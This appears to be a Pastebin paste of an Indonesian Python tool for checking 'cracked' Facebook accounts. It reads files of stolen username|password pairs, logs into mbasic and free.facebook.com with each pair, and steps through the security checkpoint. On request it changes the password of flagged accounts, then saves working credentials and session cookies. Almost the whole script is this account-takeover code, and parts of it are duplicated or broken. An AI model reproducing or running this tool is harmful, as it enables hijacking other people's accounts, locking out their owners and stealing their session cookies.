OBF-XIn

114.5.109.140-/storage/emulated/0/Documents/Pydroid3/cek.py.py

Oct 7th, 2023
77
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 15.50 KB | None | 0 0
  1. #ASTAGFIRULLAH JEBOL
  2. import requests,json,os,sys,random,datetime,time,re,platform
  3. from rich.progress import Progress,SpinnerColumn,BarColumn,TextColumn,TimeElapsedColumn
  4. from concurrent.futures import ThreadPoolExecutor as tred
  5. from time import sleep as waktu
  6.  
  7. ###----------[ GLOBAL NAMA ]----------###
  8. id,id2,uid = [],[],[]
  9. tokenefb = []
  10. akunyeh = []
  11. ugen = []
  12. loop,baz = 0,[]
  13. ok,cp,oo = 0,0,[]
  14. usragent = []
  15. ###----------[ USER AGENT ]----------###
  16. P = '\x1b[1;97m'
  17. M = '\x1b[1;91m'
  18. H = '\x1b[1;92m'
  19. K = '\x1b[1;93m'
  20. B = '\x1b[1;94m'
  21. U = '\x1b[1;95m'
  22. O = '\x1b[1;96m'
  23. N = '\x1b[0m'    
  24. Z = "\033[1;30m"
  25. sir = '\033[41m\x1b[1;97m'
  26. x = '\33[m' # DEFAULT
  27. m = '\x1b[1;91m' #RED +
  28. k = '\033[93m' # KUNING +
  29. h = '\x1b[1;92m' # HIJAU +
  30. hh = '\033[32m' # HIJAU -
  31. u = '\033[95m' # UNGU
  32. kk = '\033[33m' # KUNING -
  33. b = '\33[1;96m' # BIRU -
  34. p = '\x1b[0;34m' # BIRU +
  35. mer = '\033[1;31m'
  36. kun = '\033[1;33m'
  37. hijo = '\033[1;32m'
  38. biru = '\033[1;34m'
  39. ung = '\033[1;35m'
  40. puti = '\033[1;37m'
  41. bira = '\033[1;36m'
  42. xxx = '\33[m'
  43.  
  44. ###----------[ CONVERT BULAN ]----------###
  45. rb = {'1':'Januari','2':'Februari','3':'Maret','4':'April','5':'Mei','6':'Juni','7':'Juli','8':'Agustus','9':'September','10':'Oktober','11':'November','12':'Desember'}
  46. tg = datetime.datetime.now().day
  47. bl = rb[(str(datetime.datetime.now().month))]
  48. th = datetime.datetime.now().year
  49. okh = 'OK-'+str(tg)+'-'+str(bl)+'-'+str(th)+'.txt'
  50. cph = 'CP-'+str(tg)+'-'+str(bl)+'-'+str(th)+'.txt'
  51.  
  52. import requests, shutil, os, re, bs4, sys, json, time, platform ,random, datetime, subprocess, logging, base64
  53. import hmac, hashlib, urllib, stdiomask, urllib.request, uuid
  54. from concurrent.futures import ThreadPoolExecutor
  55. from bs4 import BeautifulSoup as parser
  56. from threading import (Thread, Event)
  57. from time import sleep as jeda
  58. from datetime import datetime
  59.  
  60.  
  61. ct = datetime.now()
  62. n = ct.month
  63. bulan_ = ['Januari', 'Februari', 'Maret', 'April', 'Mei', 'Juni', 'Juli', 'Agustus', 'September', 'Oktober', 'November', 'Desember']
  64. try:
  65.     if n < 0 or n > 12:
  66.         exit()
  67.     nTemp = n - 1
  68. except ValueError:
  69.     exit()
  70.  
  71. current = datetime.now()
  72. hari = current.day
  73. bulan = bulan_[nTemp]
  74. tahun = current.year
  75. bullan = current.month
  76.  
  77. waktu = ("%s-%s-%s"%(hari,bulan,tahun))
  78. bulan12 = {"01": "Januari", "02": "Februari", "03": "Maret", "04": "April", "05": "Mei", "06": "Juni", "07": "Juli", "08": "Agustus", "09": "September", "10": "Oktober", "11": "November", "12": "Desember"}
  79.  
  80. M = '\x1b[1;91m' # MERAH
  81. H = '\x1b[1;92m' # HIJAU
  82. K = '\x1b[1;93m' # KUNING
  83. B = '\x1b[1;94m' # BIRU
  84. U = '\x1b[1;95m' # UNGU
  85. O = '\x1b[1;96m' # BIRU MUDA
  86. P = '\x1b[1;97m' # PUTIH
  87. J = '\033[38;2;255;127;0;1m' # ORANGE
  88. N = '\x1b[0m' # WARNA MATI
  89. acak = [M, H, K, B, U, O, P, J]
  90. warna = random.choice(acak)
  91. til ="\033[0m╰─ "
  92.  
  93. def jalan(keliling):
  94.     for mau in keliling + '\n':
  95.         sys.stdout.write(mau)
  96.         sys.stdout.flush();jeda(0.03)
  97.        
  98.        
  99. ubah_pass = []
  100. pwbaru = []
  101. pwBaru = []
  102. ubahP = []
  103.  
  104. ###----------[ UNTUK ANIMASI ]----------###
  105. def baz_anim(berjalan):
  106.         for gas in berjalan + "\n":sys.stdout.write(gas);sys.stdout.flush();time.sleep(0.05)
  107. def baz_bann(berjalan):
  108.         for gas in berjalan + "\n":sys.stdout.write(gas);sys.stdout.flush();time.sleep(0.01)
  109.        
  110. ###----------[ BANNER MENUH ]----------###
  111. def banner():
  112.     print('''
  113. \x1b[1;91m____ ____ _  _ ___  _  _ _    ____ _  _    
  114. |__/ |___ |\/| |__] |  | |    |__| |\ |    
  115. \33[m|  \ |___ |  | |__] |__| |___ |  | | \|    
  116. ''')
  117. def menu():
  118.     try:
  119.         cok = open('.cookiesakun.txt','r').read()
  120.     except IOError:
  121.         baz_anim(f'{mer}cookies telah kadaluarsa ster')
  122.         waktu(4)
  123.         login_men()
  124.     os.system('clear')
  125.     banner()
  126. #   os.system("xdg-open https://chat.whatsapp.com/DJ2RWBRMTQDKJkBd5UfRai")
  127.     print(f'{xxx}>> 1. cek mbasic.facebook')
  128.     print(f'{xxx}>> 2. cek free.facebook')
  129.     helpbas = input(f'{xxx}>> : ')
  130.     if helpbas in ['1']:
  131.         file_cp()
  132.     elif helpbas in ['2']:
  133.         file_cp1()
  134.     else:
  135.         baz_anim(f'{mer}└── yang bener lah ster')
  136.        
  137. def file_cp():
  138.     dirs = os.listdir('CP')
  139.     print ("%s%s%s [%s\033[0mpilih hasil crack yg tersimpan untuk cek opsi %s]\n"%(U,til,O,U,O))
  140.     for file in dirs:
  141.         print("%s%s\033[0m%s"%(U,til,file));jeda(0.07)
  142.     try:
  143.         print(f'\n           [{b}mbasic.facebook{x}]')
  144.         print("\n%s%s%s\033[0m Masukan file [ cth%s: %sCP-%s.txt%s ]"%(U,til,O,M,K,waktu,O))
  145.         opsi()
  146.     except IOError:
  147.         print ('%s%s \033[0mfile tidak ada'%(M,til))
  148.         exit()
  149.  
  150.  
  151. def opsi():
  152.     CP = ("CP/")
  153.     romi = input("%s%s%s \033[0mNama file %s> %s"%(U,til,O,M,K))
  154.     if romi == "":
  155.         print("%s%s \033[0misi yang benar "%(M,til));jeda(2)
  156.         opsi()
  157.     try:
  158.         file_cp = open(CP+romi, "r").readlines()
  159.     except IOError:
  160.         exit("\n%s%s \033[0mnama file %s\033[0m tidak tersedia"%(M,til,romi))
  161.     jalan("%s%s%s\033[0m Mode pesawatkan terlebih dahulu 5 detik "%(U,til,O))
  162.     pw=input("\n%s%s%s \033[0mubah sandi pada akun one tab? y/t %s> %s"%(U,til,O,M,K))
  163.     if pw in['y','Y']:
  164.         ubah_pass.append("ubah_sandi")
  165.         pw2 = input("%s%s%s \033[0mmasukan sandi %s> %s"%(U,til,O,M,K))
  166.         if len(pw2) <= 5:
  167.             print("%s%s sandi minimal 6 karakter "%(M,til))
  168.         else:
  169.             pwbaru.append(pw2)
  170.     print("\n %s# %s---------------------------------------- %s#"%(P,M,P));jeda(2)
  171.     print ("%s%s%s\033[0m total akun %s: %s%s "%(U,til,O,M,K,str(len(file_cp))))
  172.     print(" %s# %s---------------------------------------- %s#"%(P,M,P));jeda(2)
  173.     nomor = 0
  174.     for fb in file_cp:
  175.         akun = fb.replace("\n","")
  176.         ngecek  = akun.split("|")
  177.         nomor+=1
  178.         print("\n%s%s.%s \033[0mlogin akun %s> %s%s"%(H,str(nomor),O,M,K,akun.replace(" *--> ","")));jeda(0.07)
  179.         try:
  180.             mengecek(ngecek[0].replace("",""), ngecek[1])
  181.         except requests.exceptions.ConnectionError:
  182.             continue
  183.     print("\n%s%s%s \033[0mSelesai mengecek akun"%(U,til,O));jeda(0.07)
  184.     input('%s%s%s [%s Enter%s ] '%(U,til,O,U,O))
  185.     back()
  186.    
  187. data = {}
  188. data2 = {}
  189.  
  190. def mengecek(user,pw):
  191.     global loop,ubah_pass,pwbaru
  192.     session=requests.Session()
  193.     url = "https://mbasic.facebook.com"
  194.     session.headers.update({"Host":"mbasic.facebook.com","accept":"text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9","accept-encoding":"gzip, deflate","accept-language":"id-ID,id;q=0.9","referer":"https://mbasic.facebook.com/","user-agent":"Mozilla/5.0 (Linux; Android 6.0.1; SAMSUNG SM-G532G Build/MMB29T) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/4.2 Chrome/44.0.2403.133 Mobile Safari/537.36 [FBAN/EMA;FBLC/id_ID;FBAV/239.0.0.10.109;]"})
  195.     soup=bs4.BeautifulSoup(session.get(url+"/login/?next&ref=dbl&fl&refid=8").text,"html.parser")
  196.     link=soup.find("form",{"method":"post"})
  197.     for x in soup("input"):
  198.         data.update({x.get("name"):x.get("value")})
  199.     data.update({"email":user,"pass":pw})
  200.     urlPost=session.post(url+link.get("action"),data=data)
  201.     response=bs4.BeautifulSoup(urlPost.text, "html.parser")
  202.     if "c_user" in session.cookies.get_dict():
  203.         if "Akun Anda Dikunci" in urlPost.text:
  204.             print("\r%s%s\033[0m akun terkunci sesi new"%(M,til))
  205.         else:
  206.             print("\r%s%s\033[0m akun tidak checkpoint, silahkan anda login "%(til,H))
  207.             open('OK/OK-%s.txt'%(waktu), 'a').write(" %s|%s\n" % (user,pw))
  208.     elif "checkpoint" in session.cookies.get_dict():
  209.         coki = (";").join([ "%s=%s" % (key, value) for key, value in session.cookies.get_dict().items() ])
  210.         title=re.findall("\<title>(.*?)<\/title>",str(response))
  211.         link2=response.find("form",{"method":"post"})
  212.         listInput=['fb_dtsg','jazoest','checkpoint_data','submit[Continue]','nh']
  213.         for x in response("input"):
  214.             if x.get("name") in listInput:
  215.                 data2.update({x.get("name"):x.get("value")})
  216.         an=session.post(url+link2.get("action"),data=data2)
  217.         response2=bs4.BeautifulSoup(an.text,"html.parser")
  218.         cek=[cek.text for cek in response2.find_all("option")]
  219.         number=0
  220.         print("\r%s╰─%s \033[0mterdapat %s%s%s \033[0mopsi %s:"%(U,O,P,str(len(cek)),O,M));jeda(0.07)
  221.         if(len(cek)==0):
  222.             if "Lihat detail login yang ditampilkan. Ini Anda?" in title:
  223.                 if "ubah_sandi" in ubah_pass:
  224.                     dat,dat2={},{}
  225.                     but=["submit[Yes]","nh","fb_dtsg","jazoest","checkpoint_data"]
  226.                     for x in response("input"):
  227.                         if x.get("name") in but:
  228.                             dat.update({x.get("name"):x.get("value")})
  229.                     ubahPw=session.post(url+link2.get("action"),data=dat).text
  230.                     resUbah=bs4.BeautifulSoup(ubahPw,"html.parser")
  231.                     link3=resUbah.find("form",{"method":"post"})
  232.                     but2=["submit[Next]","nh","fb_dtsg","jazoest"]
  233.                     if "Buat Kata Sandi Baru" in re.findall("\<title>(.*?)<\/title>",str(ubahPw)):
  234.                         for b in resUbah("input"):
  235.                             dat2.update({b.get("name"):b.get("value")})
  236.                         dat2.update({"password_new":"".join(pwbaru)})
  237.                         an=session.post(url+link3.get("action"),data=dat2)
  238.                         coki = (";").join([ "%s=%s" % (key, value) for key, value in session.cookies.get_dict().items() ])
  239.                         print("\r%s%s\033[0makun one tab, sandi berhasil di ubah \n╰─ OK %s%s%s|%s|%s           "%(H,til,N,H,user,pwbaru[0],coki))
  240.                         open('OK/OK-%s.txt' %(waktu), 'a').write("%s%s|%s|%s\n" % (H,user,pwbaru[0],coki))
  241.                         #cek_apk(coki)
  242.                 else:
  243.                     print("\r%s%s \033[0makun one tab, silahkan anda login      "%(H,til))
  244.                     open('OK/OK-%s.txt' %(waktu), 'a').write("%s %s|%s|%s\n" % (H,user,pw,coki))
  245.                     #cek_apk(coki)
  246.             elif "Masukkan Kode Masuk untuk Melanjutkan" in re.findall("\<title>(.*?)<\/title>",str(response)):
  247.                 print("\r%s╰─\033[0m akun terpasang autentikasi dua faktor          "%(M))
  248.             else:
  249.                 print("%s%s\033[0mterjadi kesalahan"%(M,til))
  250.         else:
  251.             if "c_user" in session.cookies.get_dict():
  252.                 print("\r%s%s akun tidak checkpoint, silahkan anda login "%(H))
  253.                 open('OK/OK-%s.txt' %(waktu), 'a').write("%s%s|%s\n" % (H,user,pw))
  254.         for opsi in range(len(cek)):
  255.             number +=1
  256.             jalan ("  %s%s. %s%s"%(P,str(number),K,cek[opsi]))
  257.     elif "login_error" in str(response):
  258.         oh = run.find("div",{"id":"login_error"}).find("div").text
  259.         print("%s╰─ %s"%(M,oh))
  260.     else:
  261.         print("%s╰─ \033[0mlogin gagal, silahkan cek kembali id dan kata sandi"%(M))
  262.  
  263. def file_cp1():
  264.     dirs = os.listdir('CP')
  265.     print ("%s%s%s [%s\033[0mpilih hasil crack yg tersimpan untuk cek opsi %s]\n"%(U,til,O,U,O))
  266.     for file in dirs:
  267.         print("%s%s\033[0m%s"%(U,til,file));jeda(0.07)
  268.     try:
  269.         print(f'\n           [{h}free.facebook{x}]')
  270.         print("\n%s%s%s\033[0m Masukan file [ cth%s: %sCP-%s.txt%s ]"%(U,til,O,M,K,waktu,O))
  271.         opsi()
  272.     except IOError:
  273.         print ('%s%s \033[0mfile tidak ada'%(M,til))
  274.         exit()
  275.  
  276.  
  277. def opsi():
  278.     CP = ("CP/")
  279.     romi = input("%s%s%s \033[0mNama file %s> %s"%(U,til,O,M,K))
  280.     if romi == "":
  281.         print("%s%s \033[0misi yang benar "%(M,til));jeda(2)
  282.         opsi()
  283.     try:
  284.         file_cp = open(CP+romi, "r").readlines()
  285.     except IOError:
  286.         exit("\n%s%s \033[0mnama file %s\033[0m tidak tersedia"%(M,til,romi))
  287.     jalan("%s%s%s\033[0m Mode pesawatkan terlebih dahulu 5 detik "%(U,til,O))
  288.     pw=input("\n%s%s%s \033[0mubah sandi pada akun one tab? y/t %s> %s"%(U,til,O,M,K))
  289.     if pw in['y','Y']:
  290.         ubah_pass.append("ubah_sandi")
  291.         pw2 = input("%s%s%s \033[0mmasukan sandi %s> %s"%(U,til,O,M,K))
  292.         if len(pw2) <= 5:
  293.             print("%s%s sandi minimal 6 karakter "%(M,til))
  294.         else:
  295.             pwbaru.append(pw2)
  296.     print("\n %s# %s---------------------------------------- %s#"%(P,M,P));jeda(2)
  297.     print ("%s%s%s\033[0m total akun %s: %s%s "%(U,til,O,M,K,str(len(file_cp))))
  298.     print(" %s# %s---------------------------------------- %s#"%(P,M,P));jeda(2)
  299.     nomor = 0
  300.     for fb in file_cp:
  301.         akun = fb.replace("\n","")
  302.         ngecek  = akun.split("|")
  303.         nomor+=1
  304.         print("\n%s%s.%s \033[0mlogin akun %s> %s%s"%(H,str(nomor),O,M,K,akun.replace(" *--> ","")));jeda(0.07)
  305.         try:
  306.             mengecek(ngecek[0].replace("",""), ngecek[1])
  307.         except requests.exceptions.ConnectionError:
  308.             continue
  309.     print("\n%s%s%s \033[0mSelesai mengecek akun"%(U,til,O));jeda(0.07)
  310.     input('%s%s%s [%s Enter%s ] '%(U,til,O,U,O))
  311.     login_baz()
  312.    
  313. data = {}
  314. data2 = {}
  315.  
  316. def mengecek(user,pw):
  317.     global loop,ubah_pass,pwbaru
  318.     session=requests.Session()
  319.     url = "https://free.facebook.com"
  320.     session.headers.update({"Host":"free.facebook.com","accept":"text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9","accept-encoding":"gzip, deflate","accept-language":"id-ID,id;q=0.9","referer":"https://free.facebook.com/","user-agent":"Mozilla/5.0 (Linux; U; Android 6.0.1; Redmi 4X Build/MMB29M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/55.0.2883.91 Mobile Safari/537.36 [FBAN/EMA;FBLC/id_ID;FBAV/239.0.0.10.109;]"})
  321.     soup=bs4.BeautifulSoup(session.get(url+"/login/?next&ref=dbl&fl&refid=8").text,"html.parser")
  322.     link=soup.find("form",{"method":"post"})
  323.     for x in soup("input"):
  324.         data.update({x.get("name"):x.get("value")})
  325.     data.update({"email":user,"pass":pw})
  326.     urlPost=session.post(url+link.get("action"),data=data)
  327.     response=bs4.BeautifulSoup(urlPost.text, "html.parser")
  328.     if "c_user" in session.cookies.get_dict():
  329.         if "Akun Anda Dikunci" in urlPost.text:
  330.             print("\r%s%s\033[0m akun terkunci sesi new"%(M,til))
  331.         else:
  332.             print("\r%s%s\033[0m akun tidak checkpoint, silahkan anda login "%(til,H))
  333.             open('OK/OK-%s.txt'%(waktu), 'a').write(" %s|%s\n" % (user,pw))
  334.     elif "checkpoint" in session.cookies.get_dict():
  335.         coki = (";").join([ "%s=%s" % (key, value) for key, value in session.cookies.get_dict().items() ])
  336.         title=re.findall("\<title>(.*?)<\/title>",str(response))
  337.         link2=response.find("form",{"method":"post"})
  338.         listInput=['fb_dtsg','jazoest','checkpoint_data','submit[Continue]','nh']
  339.         for x in response("input"):
  340.             if x.get("name") in listInput:
  341.                 data2.update({x.get("name"):x.get("value")})
  342.         an=session.post(url+link2.get("action"),data=data2)
  343.         response2=bs4.BeautifulSoup(an.text,"html.parser")
  344.         cek=[cek.text for cek in response2.find_all("option")]
  345.         number=0
  346.         print("\r%s╰─%s \033[0mterdapat %s%s%s \033[0mopsi %s:"%(U,O,P,str(len(cek)),O,M));jeda(0.07)
  347.         if(len(cek)==0):
  348.             if "Lihat detail login yang ditampilkan. Ini Anda?" in title:
  349.                 if "ubah_sandi" in ubah_pass:
  350.                     dat,dat2={},{}
  351.                     but=["submit[Yes]","nh","fb_dtsg","jazoest","checkpoint_data"]
  352.                     for x in response("input"):
  353.                         if x.get("name") in but:
  354.                             dat.update({x.get("name"):x.get("value")})
  355.                     ubahPw=session.post(url+link2.get("action"),data=dat).text
  356.                     resUbah=bs4.BeautifulSoup(ubahPw,"html.parser")
  357.                     link3=resUbah.find("form",{"method":"post"})
  358.                     but2=["submit[Next]","nh","fb_dtsg","jazoest"]
  359.                     if "Buat Kata Sandi Baru" in re.findall("\<title>(.*?)<\/title>",str(ubahPw)):
  360.                         for b in resUbah("input"):
  361.                             dat2.update({b.get("name"):b.get("value")})
  362.                         dat2.update({"password_new":"".join(pwbaru)})
  363.                         an=session.post(url+link3.get("action"),data=dat2)
  364.                         coki = (";").join([ "%s=%s" % (key, value) for key, value in session.cookies.get_dict().items() ])
  365.                         print("\r%s%s\033[0makun one tab, sandi berhasil di ubah \n╰─ OK %s%s%s|%s|%s           "%(H,til,N,H,user,pwbaru[0],coki))
  366.                         open('OK/OK-%s.txt' %(waktu), 'a').write("%s%s|%s|%s\n" % (H,user,pwbaru[0],coki))
  367.                         #cek_apk(coki)
  368.                 else:
  369.                     print("\r%s%s \033[0makun one tab, silahkan anda login      "%(H,til))
  370.                     open('OK/OK-%s.txt' %(waktu), 'a').write("%s %s|%s|%s\n" % (H,user,pw,coki))
  371.                     #cek_apk(coki)
  372.             elif "Masukkan Kode Masuk untuk Melanjutkan" in re.findall("\<title>(.*?)<\/title>",str(response)):
  373.                 print("\r%s╰─\033[0m akun terpasang autentikasi dua faktor          "%(M))
  374.             else:
  375.                 print("%s%s\033[0mterjadi kesalahan"%(M,til))
  376.         else:
  377.             if "c_user" in session.cookies.get_dict():
  378.                 print("\r%s%s akun tidak checkpoint, silahkan anda login "%(H))
  379.                 open('OK/OK-%s.txt' %(waktu), 'a').write("%s%s|%s\n" % (H,user,pw))
  380.         for opsi in range(len(cek)):
  381.             number +=1
  382.             jalan ("  %s%s. %s%s"%(P,str(number),K,cek[opsi]))
  383.     elif "login_error" in str(response):
  384.         oh = run.find("div",{"id":"login_error"}).find("div").text
  385.         print("%s╰─ %s"%(M,oh))
  386.     else:
  387.         print("%s╰─ \033[0mlogin gagal, silahkan cek kembali id dan kata sandi"%(M))
  388.  
  389.  
  390. if __name__=='__main__':
  391.     try:os.mkdir('OK')
  392.     except:pass
  393.     try:os.mkdir('CP')
  394.     except:pass
  395.     menu()
  396.  
Add Comment
Please, Sign In to add comment